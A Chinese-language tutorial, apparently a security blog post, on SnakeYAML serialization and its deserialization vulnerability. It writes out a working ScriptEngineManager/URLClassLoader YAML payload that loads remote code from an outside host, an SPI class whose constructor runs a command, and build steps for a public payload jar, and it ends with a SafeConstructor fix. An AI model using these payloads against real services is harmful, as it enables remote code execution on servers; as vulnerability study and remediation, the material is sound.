目录
SnakeYaml
SnakeYAML 是一个用于 Java 语言的 YAML 解析库。YAML(YAML Ain't Markup Language)是一种人类可读的数据序列化标准,它通常被用来编写配置文件。SnakeYAML 提供了对 YAML 格式的解析和生成功能,支持将 YAML 文档转换成 Java 对象,以及将 Java 对象序列化为 YAML 格式。
使用 SnakeYAML 序列化与反序列化
idea 新建一个项目,构建系统时选择 Maven。然后在 pom.xml 中添加 SnakeYAML的依赖项
<dependencies>
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
</dependencies>
SnakeYAML 序列化实现
public class User {
public String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
import org.yaml.snakeyaml.Yaml; //导入了SnakeYAML库中的Yaml类,该类提供了将Java对象转换为YAML字符串的功能
public class SnakeYamlSerialize { //定义了一个名为SankeYamlDemo的公共类
public static void main(String[] args) {
User user = new User();
user.setName("zhangyun");
Yaml yaml = new Yaml(); //创建了一个Yaml类的实例,用于执行序列化操作
String dump = yaml.dump(user); //使用Yaml对象的dump方法将user对象序列化为YAML格式的字符串
System.out.println(dump); //将序列化后的YAML字符串输出
}
}
执行后显示 !!User {name: zhangyun} 。
- 字符串以
!!
开头,这是YAML中的类型标记前缀。!!
后面通常跟着的是对象的类名。 - 提供的序列化结果字符串
!!User {name: zhangyun}
表示SnakeYAML库已经将一个User
类的对象序列化为了YAML格式,该对象的name
属性值为zhangyun
。这是SnakeYAML库序列化Java对象时的默认格式。
SnakeYAML 反序列化实现
class User {
public String name;
// 无参构造函数
public User() {
System.out.println("User构造函数");
}
// getter方法
public String getName() {
System.out.println("User.getName");
return name;
}
// setter方法
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
// 重写toString方法方便输出
@Override
public String toString() {
return "User{name='" + name + "'}";
}
}
反序列化
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlDeserialize {
public static void main(String[] args) {
// 原始YAML字符串
String yamlString = "!!User {name: zhangyun}";
// 创建Yaml对象
Yaml yaml = new Yaml();
User user2 = yaml.load(yamlString); //直接从字符串加载 YAML 数据
// 输出反序列化后的User对象
System.out.println(user2);
}
}
SnakeYaml 反序列化漏洞
因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
基于 ScriptEngineManager 利用链
修改反序列化的代码如下,即将yamlString 修改为
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlDeserialize {
public static void main(String[] args) {
// 原始YAML字符串
String yamlString = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]\n";
// 创建Yaml对象
Yaml yaml = new Yaml();
User user2 = yaml.load(yamlString); //直接从字符串加载 YAML 数据
// 输出反序列化后的User对象
System.out.println(user2);
}
}
执行
即可触发 dnslog
漏洞原因分析
为什么能触发 dnslog?
"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]";
- !! 表示后面跟的是类名,指示解析器要从这个类实例化一个对象;
- javax.script.ScriptEngineManager 这是Java中的一个类名,属于Java Scripting API的一部分。ScriptEngineManager类提供了对脚本引擎的访问,这些引擎可以用来执行Java支持的脚本语言(如JavaScript、Groovy等);
- [] 方括号表示数组(或列表)。数组可以包含多个元素,这些元素可以是任何YAML支持的数据类型,包括其他数组、对象、字符串、数字等。方括号中的内容将作为参数传递给 其左边类的构造函数。
- [[]] 这里的嵌套方括号表示一个数组的数组,即二维数组。在您的例子中,外层数组是URLClassLoader构造函数的参数,它期望得到一个URL对象的数组。内层数组则包含了一个URL对象。
所以
!!javax.script.ScriptEngineManager
:这是一个类型标记,指示YAML解析器实例化一个javax.script.ScriptEngineManager
对象。ScriptEngineManager
是Java中用于管理脚本引擎的类。[!!java.net.URLClassLoader [...]]
:这是ScriptEngineManager
构造函数的参数,表示要传递一个URLClassLoader
对象。URLClassLoader
是Java中用于从指定的URL加载类和资源的类加载器。[[!!java.net.URL [\"http://o586dd.dnslog.cn\"]]]
:这是URLClassLoader
构造函数的参数,表示要加载的URL数组。在这个例子中,数组只包含一个元素,即远程URLhttp://o586dd.dnslog.cn
。
所以上面是一个特定格式的指令,旨在利用SnakeYAML解析器的功能来实例化Java对象并执行某些操作。
SPI 服务提供者发现机制
服务提供者发现机制(Service Provider Discovery Mechanism)通常也被称为SPI(Service Provider Interface)。SPI机制允许Java应用程序在不修改其源代码的情况下,通过发现和加载服务提供者来实现扩展。
1. 定义服务接口:
首先,需要定义一个服务接口 HelloSPI,这个接口定义了一个或多个方法,服务提供者需要实现这些方法。例如:
package inter;
public interface HelloSPI {
void sayHello();
}
2. 实现服务接口(服务提供者):
然后,你需要有一个或多个实现这个接口的类 TextHello 和 ImageHello。这些类就是服务提供者。它们需要实现HelloSPI
接口中定义的方法。
package inter;
import java.io.IOException;
public class TextHello implements HelloSPI {
public TextHello() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public void sayHello() {
System.out.println("Text Hello");
}
}
package inter;
public class ImageHello implements HelloSPI {
public void sayHello() {
System.out.println("Image Hello");
}
}
3. 创建服务提供者配置文件:
在你的JAR包的META-INF/services
目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名,在这个例子中是inter.HelloSPI
)。
文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个。
4. 加载和使用服务提供者:
最后,在你的SPIDemo
类中,你使用ServiceLoader
来加载HelloSPI
接口的服务提供者,并遍历它们来调用sayHello
方法。
package inter;
import java.util.ServiceLoader;
public class SPIDemo {
public static void main(String[] args) {
//1. ServiceLoader类的使用: ServiceLoader<HelloSPI>是Java内置的一个类,用于发现和加载服务提供者。这里的HelloSPI是一个接口,代表了我们想要使用的服务。
//通过指定HelloSPI.class作为参数,ServiceLoader知道要查找哪个服务的提供者。
//这行代码创建了一个ServiceLoader实例,它会根据HelloSPI接口去查找和加载所有可用的服务提供者。
ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);
//遍历服务提供者:ServiceLoader实现了Iterable接口,因此可以使用增强的for循环来遍历它找到的所有服务提供者。
for (HelloSPI helloSPI : serviceLoader) {
helloSPI.sayHello();
}
}
}
for (HelloSPI helloSPI : serviceLoader) { }在这个循环中,每次迭代,ServiceLoader
都会尝试加载并实例化下一个可用的HelloSPI
服务提供者。这里的“加载并实例化”过程是指:
- 加载:
ServiceLoader
会根据服务提供者配置文件(通常位于META-INF/services
目录下,文件名为接口的完全限定名)中的信息,找到服务提供者的类名,并尝试加载这个类。 - 实例化:一旦类被成功加载,
ServiceLoader
会使用这个类的无参构造函数来创建一个新的实例。这个新创建的实例随后被赋值给循环变量helloSPI
,您就可以在循环体内使用这个实例了。
因此,每次循环迭代时,helloSPI
变量都会引用一个新的HelloSPI
实现类的实例。这些实例是根据服务提供者配置文件中的顺序来创建的。
执行后,由于TextHello 在实例化时会自动执行构造函数,从而触发其中的 calc 命令
命令执行
ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行。
该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
下载 poc:https://github.com/artsploit/yaml-payload
观察代码,可知 AwesomeScriptEngineFactory 类实现了 ScriptEngineFactory 接口
打包成 jar 文件
javac -source 8 -target 8 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
运行即可弹窗
漏洞修复
修复方案:加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}